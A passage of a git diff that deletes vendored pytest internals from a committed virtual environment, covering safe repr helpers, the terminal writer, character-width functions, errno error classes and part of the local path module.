maxsize is not None else 1_000_000_000 - self.maxsize = maxsize - self.use_ascii = use_ascii - - def repr(self, x: object) -> str: - try: - if self.use_ascii: - s = ascii(x) - else: - s = super().repr(x) - except (KeyboardInterrupt, SystemExit): - raise - except BaseException as exc: - s = _format_repr_exception(exc, x) - if self.maxsize is not None: - s = _ellipsize(s, self.maxsize) - return s - - def repr_instance(self, x: object, level: int) -> str: - try: - s = repr(x) - except (KeyboardInterrupt, SystemExit): - raise - except BaseException as exc: - s = _format_repr_exception(exc, x) - if self.maxsize is not None: - s = _ellipsize(s, self.maxsize) - - return s - - def repr_dict(self, x: dict[object, object], level: int) -> str: - """Represent a dict while preserving its insertion order. - - Differs from ``reprlib.Repr.repr_dict`` by iterating directly over ``x`` - rather than using the stdlib's sorting helper. - """ - fillvalue = "..." - n = len(x) - if n == 0: - return "{}" - if level <= 0: - return "{" + fillvalue + "}" - newlevel = level - 1 - repr1 = self.repr1 - pieces = [] - for key in islice(x, self.maxdict): - keyrepr = repr1(key, newlevel) - valrepr = repr1(x[key], newlevel) - pieces.append(f"{keyrepr}: {valrepr}") - if n > self.maxdict: - pieces.append(fillvalue) - return "{" + ", ".join(pieces) + "}" - - -def safeformat(obj: object) -> str: - """Return a pretty printed string for the given object. - - Failing __repr__ functions of user instances will be represented - with a short exception info. - """ - try: - return pprint.pformat(obj) - except Exception as exc: - return _format_repr_exception(exc, obj) - - -# Maximum size of overall repr of objects to display during assertion errors. -DEFAULT_REPR_MAX_SIZE = 240 - - -def saferepr( - obj: object, maxsize: int | None = DEFAULT_REPR_MAX_SIZE, use_ascii: bool = False -) -> str: - """Return a size-limited safe repr-string for the given object. - - Failing __repr__ functions of user instances will be represented - with a short exception info and 'saferepr' generally takes - care to never raise exceptions itself. - - This function is a wrapper around the Repr/reprlib functionality of the - stdlib. - """ - return SafeRepr(maxsize, use_ascii).repr(obj) - - -def saferepr_unlimited(obj: object, use_ascii: bool = True) -> str: - """Return an unlimited-size safe repr-string for the given object. - - As with saferepr, failing __repr__ functions of user instances - will be represented with a short exception info. - - This function is a wrapper around simple repr. - - Note: a cleaner solution would be to alter ``saferepr``this way - when maxsize=None, but that might affect some other code. - """ - try: - if use_ascii: - return ascii(obj) - return repr(obj) - except Exception as exc: - return _format_repr_exception(exc, obj) diff --git a/venv/Lib/site-packages/_pytest/_io/terminalwriter.py b/venv/Lib/site-packages/_pytest/_io/terminalwriter.py deleted file mode 100644 index 9191b4edace06d673febe36b708fdefd53bae9be..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/_io/terminalwriter.py +++ /dev/null @@ -1,258 +0,0 @@ -"""Helper functions for writing to terminals and files.""" - -from __future__ import annotations - -from collections.abc import Sequence -import os -import shutil -import sys -from typing import final -from typing import Literal -from typing import TextIO - -import pygments -from pygments.formatters.terminal import TerminalFormatter -from pygments.lexer import Lexer -from pygments.lexers.diff import DiffLexer -from pygments.lexers.python import PythonLexer - -from ..compat import assert_never -from .wcwidth import wcswidth - - -# This code was initially copied from py 1.8.1, file _io/terminalwriter.py. - - -def get_terminal_width() -> int: - width, _ = shutil.get_terminal_size(fallback=(80, 24)) - - # The Windows get_terminal_size may be bogus, let's sanify a bit. - if width < 40: - width = 80 - - return width - - -def should_do_markup(file: TextIO) -> bool: - if os.environ.get("PY_COLORS") == "1": - return True - if os.environ.get("PY_COLORS") == "0": - return False - if os.environ.get("NO_COLOR"): - return False - if os.environ.get("FORCE_COLOR"): - return True - return ( - hasattr(file, "isatty") and file.isatty() and os.environ.get("TERM") != "dumb" - ) - - -@final -class TerminalWriter: - _esctable = dict( - black=30, - red=31, - green=32, - yellow=33, - blue=34, - purple=35, - cyan=36, - white=37, - Black=40, - Red=41, - Green=42, - Yellow=43, - Blue=44, - Purple=45, - Cyan=46, - White=47, - bold=1, - light=2, - blink=5, - invert=7, - ) - - def __init__(self, file: TextIO | None = None) -> None: - if file is None: - file = sys.stdout - if hasattr(file, "isatty") and file.isatty() and sys.platform == "win32": - try: - import colorama - except ImportError: - pass - else: - file = colorama.AnsiToWin32(file).stream - assert file is not None - self._file = file - self.hasmarkup = should_do_markup(file) - self._current_line = "" - self._terminal_width: int | None = None - self.code_highlight = True - - @property - def fullwidth(self) -> int: - if self._terminal_width is not None: - return self._terminal_width - return get_terminal_width() - - @fullwidth.setter - def fullwidth(self, value: int) -> None: - self._terminal_width = value - - @property - def width_of_current_line(self) -> int: - """Return an estimate of the width so far in the current line.""" - return wcswidth(self._current_line) - - def markup(self, text: str, **markup: bool) -> str: - for name in markup: - if name not in self._esctable: - raise ValueError(f"unknown markup: {name!r}") - if self.hasmarkup: - esc = [self._esctable[name] for name, on in markup.items() if on] - if esc: - text = "".join(f"\x1b[{cod}m" for cod in esc) + text + "\x1b[0m" - return text - - def sep( - self, - sepchar: str, - title: str | None = None, - fullwidth: int | None = None, - **markup: bool, - ) -> None: - if fullwidth is None: - fullwidth = self.fullwidth - # The goal is to have the line be as long as possible - # under the condition that len(line) <= fullwidth. - if sys.platform == "win32": - # If we print in the last column on windows we are on a - # new line but there is no way to verify/neutralize this - # (we may not know the exact line width). - # So let's be defensive to avoid empty lines in the output. - fullwidth -= 1 - if title is not None: - # we want 2 + 2*len(fill) + len(title) <= fullwidth - # i.e. 2 + 2*len(sepchar)*N + len(title) <= fullwidth - # 2*len(sepchar)*N <= fullwidth - len(title) - 2 - # N <= (fullwidth - len(title) - 2) // (2*len(sepchar)) - N = max((fullwidth - len(title) - 2) // (2 * len(sepchar)), 1) - fill = sepchar * N - line = f"{fill} {title} {fill}" - else: - # we want len(sepchar)*N <= fullwidth - # i.e. N <= fullwidth // len(sepchar) - line = sepchar * (fullwidth // len(sepchar)) - # In some situations there is room for an extra sepchar at the right, - # in particular if we consider that with a sepchar like "_ " the - # trailing space is not important at the end of the line. - if len(line) + len(sepchar.rstrip()) <= fullwidth: - line += sepchar.rstrip() - - self.line(line, **markup) - - def write(self, msg: str, *, flush: bool = False, **markup: bool) -> None: - if msg: - current_line = msg.rsplit("\n", 1)[-1] - if "\n" in msg: - self._current_line = current_line - else: - self._current_line += current_line - - msg = self.markup(msg, **markup) - - self.write_raw(msg, flush=flush) - - def write_raw(self, msg: str, *, flush: bool = False) -> None: - try: - self._file.write(msg) - except UnicodeEncodeError: - # Some environments don't support printing general Unicode - # strings, due to misconfiguration or otherwise; in that case, - # print the string escaped to ASCII. - # When the Unicode situation improves we should consider - # letting the error propagate instead of masking it (see #7475 - # for one brief attempt). - msg = msg.encode("unicode-escape").decode("ascii") - self._file.write(msg) - - if flush: - self.flush() - - def line(self, s: str = "", **markup: bool) -> None: - self.write(s, **markup) - self.write("\n") - - def flush(self) -> None: - self._file.flush() - - def _write_source(self, lines: Sequence[str], indents: Sequence[str] = ()) -> None: - """Write lines of source code possibly highlighted. - - Keeping this private for now because the API is clunky. We should discuss how - to evolve the terminal writer so we can have more precise color support, for example - being able to write part of a line in one color and the rest in another, and so on. - """ - if indents and len(indents) != len(lines): - raise ValueError( - f"indents size ({len(indents)}) should have same size as lines ({len(lines)})" - ) - if not indents: - indents = [""] * len(lines) - source = "\n".join(lines) - new_lines = self._highlight(source).splitlines() - # Would be better to strict=True but that fails some CI jobs. - for indent, new_line in zip(indents, new_lines, strict=False): - self.line(indent + new_line) - - def _get_pygments_lexer(self, lexer: Literal["python", "diff"]) -> Lexer: - if lexer == "python": - return PythonLexer() - elif lexer == "diff": - return DiffLexer() - else: - assert_never(lexer) - - def _get_pygments_formatter(self) -> TerminalFormatter: - from _pytest.config.exceptions import UsageError - - theme = os.getenv("PYTEST_THEME") - theme_mode = os.getenv("PYTEST_THEME_MODE", "dark") - - try: - return TerminalFormatter(bg=theme_mode, style=theme) - except pygments.util.ClassNotFound as e: - raise UsageError( - f"PYTEST_THEME environment variable has an invalid value: '{theme}'. " - "Hint: See available pygments styles with `pygmentize -L styles`." - ) from e - except pygments.util.OptionError as e: - raise UsageError( - f"PYTEST_THEME_MODE environment variable has an invalid value: '{theme_mode}'. " - "The allowed values are 'dark' (default) and 'light'." - ) from e - - def _highlight( - self, source: str, lexer: Literal["diff", "python"] = "python" - ) -> str: - """Highlight the given source if we have markup support.""" - if not source or not self.hasmarkup or not self.code_highlight: - return source - - pygments_lexer = self._get_pygments_lexer(lexer) - pygments_formatter = self._get_pygments_formatter() - - highlighted: str = pygments.highlight( - source, pygments_lexer, pygments_formatter - ) - # pygments terminal formatter may add a newline when there wasn't one. - # We don't want this, remove. - if highlighted[-1] == "\n" and source[-1] != "\n": - highlighted = highlighted[:-1] - - # Some lexers will not set the initial color explicitly - # which may lead to the previous color being propagated to the - # start of the expression, so reset first. - highlighted = "\x1b[0m" + highlighted - - return highlighted diff --git a/venv/Lib/site-packages/_pytest/_io/wcwidth.py b/venv/Lib/site-packages/_pytest/_io/wcwidth.py deleted file mode 100644 index 23886ff1581a16aa97e5c375e62261622e24c169..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/_io/wcwidth.py +++ /dev/null @@ -1,57 +0,0 @@ -from __future__ import annotations - -from functools import lru_cache -import unicodedata - - -@lru_cache(100) -def wcwidth(c: str) -> int: - """Determine how many columns are needed to display a character in a terminal. - - Returns -1 if the character is not printable. - Returns 0, 1 or 2 for other characters. - """ - o = ord(c) - - # ASCII fast path. - if 0x20 <= o < 0x07F: - return 1 - - # Some Cf/Zp/Zl characters which should be zero-width. - if ( - o == 0x0000 - or 0x200B <= o <= 0x200F - or 0x2028 <= o <= 0x202E - or 0x2060 <= o <= 0x2063 - ): - return 0 - - category = unicodedata.category(c) - - # Control characters. - if category == "Cc": - return -1 - - # Combining characters with zero width. - if category in ("Me", "Mn"): - return 0 - - # Full/Wide east asian characters. - if unicodedata.east_asian_width(c) in ("F", "W"): - return 2 - - return 1 - - -def wcswidth(s: str) -> int: - """Determine how many columns are needed to display a string in a terminal. - - Returns -1 if the string contains non-printable characters. - """ - width = 0 - for c in unicodedata.normalize("NFC", s): - wc = wcwidth(c) - if wc < 0: - return -1 - width += wc - return width diff --git a/venv/Lib/site-packages/_pytest/_py/__init__.py b/venv/Lib/site-packages/_pytest/_py/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/_pytest/_py/error.py b/venv/Lib/site-packages/_pytest/_py/error.py deleted file mode 100644 index dace23764ffb4da9744cf23b668c9e7011674c67..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/_py/error.py +++ /dev/null @@ -1,119 +0,0 @@ -"""create errno-specific classes for IO or os calls.""" - -from __future__ import annotations - -from collections.abc import Callable -import errno -import os -import sys -from typing import TYPE_CHECKING -from typing import TypeVar - - -if TYPE_CHECKING: - from typing_extensions import ParamSpec - - P = ParamSpec("P") - -R = TypeVar("R") - - -class Error(EnvironmentError): - def __repr__(self) -> str: - return "{}.{} {!r}: {} ".format( - self.__class__.__module__, - self.__class__.__name__, - self.__class__.__doc__, - " ".join(map(str, self.args)), - # repr(self.args) - ) - - def __str__(self) -> str: - s = "[{}]: {}".format( - self.__class__.__doc__, - " ".join(map(str, self.args)), - ) - return s - - -_winerrnomap = { - 2: errno.ENOENT, - 3: errno.ENOENT, - 17: errno.EEXIST, - 18: errno.EXDEV, - 13: errno.EBUSY, # empty cd drive, but ENOMEDIUM seems unavailable - 22: errno.ENOTDIR, - 20: errno.ENOTDIR, - 267: errno.ENOTDIR, - 5: errno.EACCES, # anything better? -} - - -class ErrorMaker: - """lazily provides Exception classes for each possible POSIX errno - (as defined per the 'errno' module). All such instances - subclass EnvironmentError. - """ - - _errno2class: dict[int, type[Error]] = {} - - def __getattr__(self, name: str) -> type[Error]: - if name[0] == "_": - raise AttributeError(name) - eno = getattr(errno, name) - cls = self._geterrnoclass(eno) - setattr(self, name, cls) - return cls - - def _geterrnoclass(self, eno: int) -> type[Error]: - try: - return self._errno2class[eno] - except KeyError: - clsname = errno.errorcode.get(eno, f"UnknownErrno{eno}") - errorcls = type( - clsname, - (Error,), - {"__module__": "py.error", "__doc__": os.strerror(eno)}, - ) - self._errno2class[eno] = errorcls - return errorcls - - def checked_call( - self, func: Callable[P, R], *args: P.args, **kwargs: P.kwargs - ) -> R: - """Call a function and raise an errno-exception if applicable.""" - __tracebackhide__ = True - try: - return func(*args, **kwargs) - except Error: - raise - except OSError as value: - if not hasattr(value, "errno"): - raise - if sys.platform == "win32": - try: - # error: Invalid index type "Optional[int]" for "dict[int, int]"; expected type "int" [index] - # OK to ignore because we catch the KeyError below. - cls = self._geterrnoclass(_winerrnomap[value.errno]) # type:ignore[index] - except KeyError: - raise value - else: - # we are not on Windows, or we got a proper OSError - if value.errno is None: - cls = type( - "UnknownErrnoNone", - (Error,), - {"__module__": "py.error", "__doc__": None}, - ) - else: - cls = self._geterrnoclass(value.errno) - - raise cls(f"{func.__name__}{args!r}") - - -_error_maker = ErrorMaker() -checked_call = _error_maker.checked_call - - -def __getattr__(attr: str) -> type[Error]: - return getattr(_error_maker, attr) # type: ignore[no-any-return] diff --git a/venv/Lib/site-packages/_pytest/_py/path.py b/venv/Lib/site-packages/_pytest/_py/path.py deleted file mode 100644 index 998a7819972ac010a535887ab8f2a4c6560621af..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/_py/path.py +++ /dev/null @@ -1,1475 +0,0 @@ -# mypy: allow-untyped-defs -"""local path implementation.""" - -from __future__ import annotations - -import atexit -from collections.abc import Callable -from contextlib import contextmanager -import fnmatch -import importlib.util -import io -import os -from os.path import abspath -from os.path import dirname -from os.path import exists -from os.path import isabs -from os.path import isdir -from os.path import isfile -from os.path import islink -from os.path import normpath -import posixpath -from stat import S_ISDIR -from stat import S_ISLNK -from stat import S_ISREG -import sys -from typing import Any -from typing import cast -from typing import Literal -from typing import overload -from typing import TYPE_CHECKING -import uuid -import warnings - -from . import error - - -# Moved from local.py. -iswin32 = sys.platform == "win32" or (getattr(os, "_name", False) == "nt") - - -class Checkers: - _depend_on_existence = "exists", "link", "dir", "file" - - def __init__(self, path): - self.path = path - - def dotfile(self): - return self.path.basename.startswith(".") - - def ext(self, arg): - if not arg.startswith("."): - arg = "." + arg - return self.path.ext == arg - - def basename(self, arg): - return self.path.basename == arg - - def basestarts(self, arg): - return self.path.basename.startswith(arg) - - def relto(self, arg): - return self.path.relto(arg) - - def fnmatch(self, arg): - return self.path.fnmatch(arg) - - def endswith(self, arg): - return str(self.path).endswith(arg) - - def _evaluate(self, kw): - from .._code.source import getrawcode - - for name, value in kw.items(): - invert = False - meth = None - try: - meth = getattr(self, name) - except AttributeError: - if name[:3] == "not": - invert = True - try: - meth = getattr(self, name[3:]) - except AttributeError: - pass - if meth is None: - raise TypeError(f"no {name!r} checker available for {self.path!r}") - try: - if getrawcode(meth).co_argcount > 1: - if (not meth(value)) ^ invert: - return False - else: - if bool(value) ^ bool(meth()) ^ invert: - return False - except (error.ENOENT, error.ENOTDIR, error.EBUSY): - # EBUSY feels not entirely correct, - # but its kind of necessary since ENOMEDIUM - # is not accessible in python - for name in self._depend_on_existence: - if name in kw: - if kw.get(name): - return False - name = "not" + name - if name in kw: - if not kw.get(name): - return False - return True - - _statcache: Stat - - def _stat(self) -> Stat: - try: - return self._statcache - except AttributeError: - try: - self._statcache = self.path.stat() - except error.ELOOP: - self._statcache = self.path.lstat() - return self._statcache - - def dir(self): - return S_ISDIR(self._stat().mode) - - def file(self): - return S_ISREG(self._stat().mode) - - def exists(self): - return self._stat() - - def link(self): - st = self.path.lstat() - return S_ISLNK(st.mode) - - -class NeverRaised(Exception): - pass - - -class Visitor: - def __init__(self, fil, rec, ignore, bf, sort): - if isinstance(fil, (str, bytes)): - fil = FNMatcher(fil) - if isinstance(rec, str): - self.rec: Callable[[LocalPath], bool] = FNMatcher(rec) - elif not hasattr(rec, "__call__") and rec: - self.rec = lambda path: True - else: - self.rec = rec - self.fil = fil - self.ignore = ignore - self.breadthfirst = bf - self.optsort = cast(Callable[[Any], Any], sorted) if sort else (lambda x: x) - - def gen(self, path): - try: - entries = path.listdir() - except self.ignore: - return - rec = self.rec - dirs = self.optsort( - [p for p in entries if p.check(dir=1) and (rec is None or rec(p))] - ) - if not self.breadthfirst: - for subdir in dirs: - yield from self.gen(subdir) - for p in self.optsort(entries): - if self.fil is None or self.fil(p): - yield p - if self.breadthfirst: - for subdir in dirs: - yield from self.gen(subdir) - - -class FNMatcher: - def __init__(self, pattern): - self.pattern = pattern - - def __call__(self, path): - pattern = self.pattern - - if ( - pattern.find(path.sep) == -1 - and iswin32 - and pattern.find(posixpath.sep) != -1 - ): - # Running on Windows, the pattern has no Windows path separators, - # and the pattern has one or more Posix path separators. Replace - # the Posix path separators with the Windows path separator. - pattern = pattern.replace(posixpath.sep, path.sep) - - if pattern.find(path.sep) == -1: - name = path.basename - else: - name = str(path) # path.strpath # XXX svn? - if not os.path.isabs(pattern): - pattern = "*" + path.sep + pattern - return fnmatch.fnmatch(name, pattern) - - -def map_as_list(func, iter): - return list(map(func, iter)) - - -class Stat: - if TYPE_CHECKING: - - @property - def size(self) -> int: ... - - @property - def mtime(self) -> float: ... - - def __getattr__(self, name: str) -> Any: - return getattr(self._osstatresult, "st_" + name) - - def __init__(self, path, osstatresult): - self.path = path - self._osstatresult = osstatresult - - @property - def owner(self): - if iswin32: - raise NotImplementedError("XXX win32") - import pwd - - entry = error.checked_call(pwd.getpwuid, self.uid) # type:ignore[attr-defined,unused-ignore] - return entry[0] - - @property - def group(self): - """Return group name of file.""" - if iswin32: - raise NotImplementedError("XXX win32") - import grp - - entry = error.checked_call(grp.getgrgid, self.gid) # type:ignore[attr-defined,unused-ignore] - return entry[0] - - def isdir(self): - return S_ISDIR(self._osstatresult.st_mode) - - def isfile(self): - return S_ISREG(self._osstatresult.st_mode) - - def islink(self): - self.path.lstat() - return S_ISLNK(self._osstatresult.st_mode) - - -def getuserid(user): - import pwd - - if not isinstance(user, int): - user = pwd.getpwnam(user)[2] # type:ignore[attr-defined,unused-ignore] - return user - - -def getgroupid(group): - import grp - - if not isinstance(group, int): - group = grp.getgrnam(group)[2] # type:ignore[attr-defined,unused-ignore] - return group - - -class LocalPath: - """Object oriented interface to os.path and other local filesystem - related information. - """ - - class ImportMismatchError(ImportError): - """raised on pyimport() if there is a mismatch of __file__'s""" - - sep = os.sep - - def __init__(self, path=None, expanduser=False): - """Initialize and return a local Path instance. - - Path can be relative to the current directory. - If path is None it defaults to the current working directory. - If expanduser is True, tilde-expansion is performed. - Note that Path instances always carry an absolute path. - Note also that passing in a local path object will simply return - the exact same path object. Use new() to get a new copy. - """ - if path is None: - self.strpath = error.checked_call(os.getcwd) - else: - try: - path = os.fspath(path) - except TypeError: - raise ValueError( - "can only pass None, Path instances " - "or non-empty strings to LocalPath" - ) - if expanduser: - path = os.path.expanduser(path) - self.strpath = abspath(path) - - if sys.platform != "win32": - - def chown(self, user, group, rec=0): - """Change ownership to the given user and group. - user and group may be specified by a number or - by a name. if rec is True change ownership - recursively. - """ - uid = getuserid(user) - gid = getgroupid(group) - if rec: - for x in self.visit(rec=lambda x: x.check(link=0)): - if x.check(link=0): - error.checked_call(os.chown, str(x), uid, gid) - error.checked_call(os.chown, str(self), uid, gid) - - def readlink(self) -> str: - """Return value of a symbolic link.""" - # https://github.com/python/mypy/issues/12278 - return error.checked_call(os.readlink, self.strpath) # type: ignore[arg-type,return-value,unused-ignore] - - def mklinkto(self, oldname): - """Posix style hard link to another name.""" - error.checked_call(os.link, str(oldname), str(self)) - - def mksymlinkto(self, value, absolute=1): - """Create a symbolic link with the given value (pointing to another name).""" - if absolute: - error.checked_call(os.symlink, str(value), self.strpath) - else: - base = self.common(value) - # with posix local paths '/' is always a common base - relsource = self.__class__(value).relto(base) - reldest = self.relto(base) - n = reldest.count(self.sep) - target = self.sep.join(("..",) * n + (relsource,)) - error.checked_call(os.symlink, target, self.strpath) - - def __div__(self, other): - return self.join(os.fspath(other)) - - __truediv__ = __div__ # py3k - - @property - def basename(self): - """Basename part of path.""" - return self._getbyspec("basename")[0] - - @property - def dirname(self): - """Dirname part of path.""" - return self._getbyspec("dirname")[0] - - @property - def purebasename(self): - """Pure base name of the path.""" - return self._getbyspec("purebasename")[0] - - @property - def ext(self): - """Extension of the path (including the '.').""" - return self._getbyspec("ext")[0] - - def read_binary(self): - """Read and return a bytestring from reading the path.""" - with self.open("rb") as f: - return f.read() - - def read_text(self, encoding): - """Read and return a Unicode string from reading the path.""" - with self.open("r", encoding=encoding) as f: - return f.read() - - def read(self, mode="r"): - """Read and return a bytestring from reading the path.""" - with self.open(mode) as f: - return f.read() - - def readlines(self, cr=1): - """Read and return a list of lines from the path. if cr is False, the - newline will be removed from the end of each line.""" - mode = "r" - - if not cr: - content = self.read(mode) - return content.split("\n") - else: - f = self.open(mode) - try: - return f.readlines() - finally: - f.close() - - def load(self): - """(deprecated) return object unpickled from self.read()""" - f = self.open("rb") - try: - import pickle - - return error.checked_call(pickle.load, f) - finally: - f.close() - - def move(self, target): - """Move this path to target.""" - if target.relto(self): - raise error.EINVAL(target, "cannot move path into a subdirectory of itself") - try: - self.rename(target) - except error.EXDEV: # invalid cross-device link - self.copy(target) - self.remove() - - def fnmatch(self, pattern): - """Return true if the basename/fullname matches the glob-'pattern'. - - valid pattern characters:: - - * matches everything - ? matches any single character - [seq] matches any character in seq - [!seq] matches any char not in seq - - If the pattern contains a path-separator then the full path - is used for pattern matching and a '*' is prepended to the - pattern. - - if the pattern doesn't contain a path-separator the pattern - is only matched against the basename. - """ - return FNMatcher(pattern)(self) - - def relto(self, relpath): - """Return a string which is the relative part of the path - to the given 'relpath'. - """ - if not isinstance(relpath, str | LocalPath): - raise TypeError(f"{relpath!r}: not a string or path object") - strrelpath = str(relpath) - if strrelpath and strrelpath[-1] != self.sep: - strrelpath += self.sep - # assert strrelpath[-1] == self.sep - # assert strrelpath[-2] != self.sep - strself = self.strpath - if sys.platform == "win32" or getattr(os, "_name", None) == "nt": - if os.path.normcase(strself).startswith(os.path.normcase(strrelpath)): - return strself[len(strrelpath) :] - elif strself.startswith(strrelpath): - return strself[len(strrelpath) :] - return "" - - def ensure_dir(self, *args): - """Ensure the path joined with args is a directory.""" - return self.ensure(*args, dir=True) - - def bestrelpath(self, dest): - """Return a string which is a relative path from self - (assumed to be a directory) to dest such that - self.join(bestrelpath) == dest and if not such - path can be determined return dest. - """ - try: - if self == dest: - return os.curdir - base = self.common(dest) - if not base: # can be the case on windows - return str(dest) - self2base = self.relto(base) - reldest = dest.relto(base) - if self2base: - n = self2base.count(self.sep) + 1 - else: - n = 0 - lst = [os.pardir] * n - if reldest: - lst.append(reldest) - target = dest.sep.join(lst) - return target - except AttributeError: - return str(dest) - - def exists(self): - return self.check() - - def isdir(self): - return self.check(dir=1) - - def isfile(self): - return self.check(file=1) - - def parts(self, reverse=False): - """Return a root-first list of all ancestor directories - plus the path itself. - """ - current = self - lst = [self] - while 1: - last = current - current = current.dirpath() - if last == current: - break - lst.append(current) - if not reverse: - lst.reverse() - return lst - - def common(self, other): - """Return the common part shared with the other path - or None if there is no common part. - """ - last = None - for x, y in zip(self.parts(), other.parts()): - if x != y: - return last - last = x - return last - - def __add__(self, other): - """Return new path object with 'other' added to the basename""" - return self.new(basename=self.basename + str(other)) - - def visit(self, fil=None, rec=None, ignore=NeverRaised, bf=False, sort=False): - """Yields all paths below the current one - - fil is a filter (glob pattern or callable), if not matching the - path will not be yielded, defaulting to None (everything is - returned) - - rec is a filter (glob pattern or callable) that controls whether - a node is descended, defaulting to None - - ignore is an Exception class that is ignoredwhen calling dirlist() - on any of the paths (by default, all exceptions are reported) - - bf if True will cause a breadthfirst search instead of the - default depthfirst. Default: False - - sort if True will sort entries within each directory level. - """ - yield from Visitor(fil, rec, ignore, bf, sort).gen(self) - - def _sortlist(self, res, sort): - if sort: - if hasattr(sort, "__call__"): - warnings.warn( - DeprecationWarning( - "listdir(sort=callable) is deprecated and breaks on python3" - ), - stacklevel=3, - ) - res.sort(sort) - else: - res.sort() - - def __fspath__(self): - return self.strpath - - def __hash__(self): - s = self.strpath - if iswin32: - s = s.lower() - return hash(s) - - def __eq__(self, other): - s1 = os.fspath(self) - try: - s2 = os.fspath(other) - except TypeError: - return False - if iswin32: - s1 = s1.lower() - try: - s2 = s2.lower() - except AttributeError: - return False - return s1 == s2 - - def __ne__(self, other): - return not (self == other) - - def __lt__(self, other): - return os.fspath(self) < os.fspath(other) - - def __gt__(self, other): - return os.fspath(self) > os.fspath(other) - - def samefile(self, other): - """Return True if 'other' references the same file as 'self'.""" - other = os.fspath(other) - if not isabs(other): - other = abspath(other) - if self == other: - return True - if not hasattr(os.path, "samefile"): - return False - return error.checked_call(os.path.samefile, self.strpath, other) - - def remove(self, rec=1, ignore_errors=False): - """Remove a file or directory (or a directory tree if rec=1). - if ignore_errors is True, errors while removing directories will - be ignored. - """ - if self.check(dir=1, link=0): - if rec: - # force remove of readonly files on windows - if iswin32: - self.chmod(0o700, rec=1) - import shutil - - error.checked_call( - shutil.rmtree, self.strpath, ignore_errors=ignore_errors - ) - else: - error.checked_call(os.rmdir, self.strpath) - else: - if iswin32: - self.chmod(0o700) - error.checked_call(os.remove, self.strpath) - - def computehash(self, hashtype="md5", chunksize=524288): - """Return hexdigest of hashvalue for this file.""" - try: - try: - import hashlib as mod - except ImportError: - if hashtype == "sha1": - hashtype = "sha" - mod = __import__(hashtype) - hash = getattr(mod, hashtype)() - except (AttributeError, ImportError): - raise ValueError(f"Don't know how to compute {hashtype!r} hash") - f = self.open("rb") - try: - while 1: - buf = f.read(chunksize) - if not buf: - return hash.hexdigest() - hash.update(buf) - finally: - f.close() - - def new(self, **kw): - """Create a modified version of this path. - the following keyword arguments modify various path parts:: - - a:/some/path/to/a/file.ext - xx drive - xxxxxxxxxxxxxxxxx dirname - xxxxxxxx basename - xxxx purebasename - xxx ext - """ - obj = object.__new__(self.__class__) - if not kw: - obj.strpath = self.strpath - return obj - drive, dirname, _basename, purebasename, ext = self._getbyspec( - "drive,dirname,basename,purebasename,ext" - ) - if "basename" in kw: - if "purebasename" in kw or "ext" in kw: - raise ValueError(f"invalid specification {kw!r}") - else: - pb = kw.setdefault("purebasename", purebasename) - try: - ext = kw["ext"] - except KeyError: - pass - else: - if ext and not ext.startswith("."): - ext = "." + ext - kw["basename"] = pb + ext - - if "dirname" in kw and not kw["dirname"]: - kw["dirname"] = drive - else: - kw.setdefault("dirname", dirname) - kw.setdefault("sep", self.sep) - obj.strpath = normpath("{dirname}{sep}{basename}".format(**kw)) - return obj - - def _getbyspec(self, spec: str) -> list[str]: - """See new for what 'spec' can be.""" - res = [] - parts = self.strpath.split(self.sep) - - args = filter(None, spec.split(",")) - for name in args: - if name == "drive": - res.append(parts[0]) - elif name == "dirname": - res.append(self.sep.join(parts[:-1])) - else: - basename = parts[-1] - if name == "basename": - res.append(basename) - else: - i = basename.rfind(".") - if i == -1: - purebasename, ext = basename, "" - else: - purebasename, ext = basename[:i], basename[i:] - if name == "purebasename": - res.append(purebasename) - elif name == "ext": - res.append(ext) - else: - raise ValueError(f"invalid part specification {name!r}") - return res - - def dirpath(self, *args, **kwargs): - """Return the directory path joined with any given path arguments.""" - if not kwargs: - path = object.__new__(self.__class__) - path.strpath = dirname(self.strpath) - if args: - path = path.join(*args) - return path - return self.new(basename="").join(*args, **kwargs) - - def join(self, *args: os.PathLike[str], abs: bool = False) -> LocalPath: - """Return a new path by appending all 'args' as path - components. if abs=1 is used restart from root if any - of the args is an absolute path. - """ - sep = self.sep - strargs = [os.fspath(arg) for arg in args] - strpath = self.strpath - if abs: - newargs: list[str] = [] - for arg in reversed(strargs): - if isabs(arg): - strpath = arg - strargs = newargs - break - newargs.insert(0, arg) - # special case for when we have e.g. strpath == "/" - actual_sep = "" if strpath.endswith(sep) else sep - for arg in strargs: - arg = arg.strip(sep) - if iswin32: - # allow unix style paths even on windows. - arg = arg.strip("/") - arg = arg.replace("/", sep) - strpath = strpath + actual_sep + arg - actual_sep = sep - obj = object.__new__(self.__class__) - obj.strpath = normpath(strpath) - return obj - - def open(self, mode="r", ensure=False, encoding=None): - """Return an opened file with the given mode. - - If ensure is True, create parent directories if needed. - """ - if ensure: - self.dirpath().ensure(dir=1) - if encoding: - return error.checked_call( - io.open, - self.strpath, - mode, - encoding=encoding, - ) - return error.checked_call(open, self.strpath, mode) - - def _fastjoin(self, name): - child = object.__new__(self.__class__) - child.strpath = self.strpath + self.sep + name - return child - - def islink(self): - return islink(self.strpath) - - def check(self, **kw): - """Check a path for existence and properties. - - Without arguments, return True if the path exists, otherwise False. - - valid checkers:: - - file = 1 # is a file - file = 0 # is not a file (may not even exist) - dir = 1 # is a dir - link = 1 # is a link - exists = 1 # exists - - You can specify multiple checker definitions, for example:: - - path.check(file=1, link=1) # a link pointing to a file - """ - if not kw: - return exists(self.strpath) - if len(kw) == 1: - if "dir" in kw: - return not kw["dir"] ^ isdir(self.strpath) - if "file" in kw: - return not kw["file"] ^ isfile(self.strpath) - if not kw: - kw = {"exists": 1} - return Checkers(self)._evaluate(kw) - - _patternchars = set("*?[" + os.sep) - - def listdir(self, fil=None, sort=None): - """List directory contents, possibly filter by the given fil func - and possibly sorted. - """ - if fil is None and sort is None: - names = error.checked_call(os.listdir, self.strpath) - return map_as_list(self._fastjoin, names) - if isinstance(fil, str): - if not self._patternchars.intersection(fil): - child = self._fastjoin(fil) - if exists(child.strpath): - return [child] - return [] - fil = FNMatcher(fil) - names = error.checked_call(os.listdir, self.strpath) - res = [] - for name in names: - child = self._fastjoin(name) - if fil is None or fil(child): - res.append(child) - self._sortlist(res, sort) - return res - - def size(self) -> int: - """Return size of the underlying file 